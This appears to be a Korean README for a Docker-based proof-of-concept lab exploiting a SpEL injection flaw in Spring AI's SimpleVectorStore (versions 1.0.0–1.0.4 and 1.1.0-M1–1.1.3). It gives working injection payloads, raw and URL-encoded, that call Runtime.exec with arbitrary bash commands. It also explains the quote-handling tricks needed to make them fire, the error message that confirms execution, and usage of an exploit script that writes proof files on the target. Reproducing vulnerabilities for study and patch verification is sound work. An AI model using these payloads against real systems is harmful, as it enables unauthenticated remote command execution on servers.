
SpEL 주입: SimpleVectorStore의 이스케이프되지 않은 필터 키를 통한 원격 코드 실행
| Artifact | 영향을 받는 버전 | 수정 버전 |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
참고: 이 프로젝트는 취약점 재현을 위해 spring-ai-core:1.0.0 정식 버전을 사용합니다.
수정 커밋: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch() 메서드는 사용자가 제공한 필터 키 이름을 그대로 SpEL 템플릿에 전달하고, 이를 StandardEvaluationContext로 평가합니다. StandardEvaluationContext는 전체 JVM 리플렉션 API를 노출하므로, 공격자는 다음을 주입할 수 있습니다:
T(java.lang.Runtime).getRuntime().exec(...)
필터 키에 이를 추가하여 인증되지 않은 OS 명령 실행을 구현합니다.
다음 payload를 사용하며, URL 인코딩을 한 번 수행해야 합니다.
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
payload를 filterKey 매개변수에 전달하면 계산기가 성공적으로 실행됩니다.

단순한 주입 방법으로는 직접 효과를 볼 수 없습니다. 파서의 두 가지 특이점을 극복해야 합니다:
단일 따옴표 제거 — 단일 따옴표 '로 시작하는 키는 따옴표로 묶인 문자열로 간주됩니다. 외부 따옴표가 제거되어 payload가 손상됩니다.
이중 따옴표 래퍼 — payload를 이중 따옴표 "..."로 감싸면 파서가 외부 이중 따옴표를 제거하여, 내부 SpEL 표현식이 파서에 전달되는 키 값 #metadata['<KEY>']으로 유지됩니다.
빈 메타데이터 키 — 주입 표현식 양쪽에 #metadata[''](정의되지 않은 변수 대신)을 사용하면 unknown variable SpEL 오류를 피하면서도 exec()를 트리거할 수 있습니다.
계산된 표현식의 형태는 다음과 같습니다:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP 응답 본문에 EL1030E SpEL 런타임 오류가 포함됩니다:
operator ADD not supported between null and java.lang.ProcessImpl
이 오류는 exec()가 반환된 후 발생하며, 대역 외 콜백 없이 OS 수준 명령 실행이 완료되었음을 확인합니다.
pip install requests)# 컨테이너 빌드 및 시작
docker compose up -d --build
# 로그 확인
docker compose logs -f
# 의존성 설치
pip install requests
# 취약점 악용 실행 (애플리케이션 시작 대기)
python3 exploit.py --wait
# 또는 대상 지정
python3 exploit.py --target http://localhost:8082 --wait
| 플래그 | 기본값 | 설명 |
|---|---|---|
--target | http://localhost:8082 | 취약한 애플리케이션의 기본 URL |
--wait | 꺼짐 | 대상이 준비될 때까지 폴링 (docker compose up 이후 유용) |
참고: Docker Desktop(macOS/Windows)은 콜백에 host.docker.internal을 사용하며, 127.0.0.1 payload가 적용됩니다.
이 개념 증명 프로세스는 5개의 연속 단계로 구성됩니다:
T(java.lang.System)을 읽어 java.version 주입 지점 확인touch /tmp/pwned_cve_2026_22738 실행id // uname 출력을 hostname으로 /tmp/rce_proof.txt에 기록docker exec를 통해 증명 파일 내용을 출력하여 검증├── Dockerfile # Docker 빌드 파일
├── docker-compose.yml # Docker Compose 구성
├── pom.xml # Maven 프로젝트 구성
├── settings.xml # Maven 설정 (Spring 저장소 포함)
├── exploit.py # 취약점 악용 스크립트
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Spring Boot 메인 클래스
├── VulnController.java # 취약점 컨트롤러
├── VectorStoreConfig.java # VectorStore 구성
└── DummyEmbeddingModel.java # 모의 Embedding 모델
# 프로젝트 컴파일
mvn clean package -DskipTests
# 애플리케이션 실행
java -jar target/spel-rce-lab-1.0.0.jar
# 다른 터미널에서 취약점 악용 실행
python3 exploit.py --target http://localhost:8082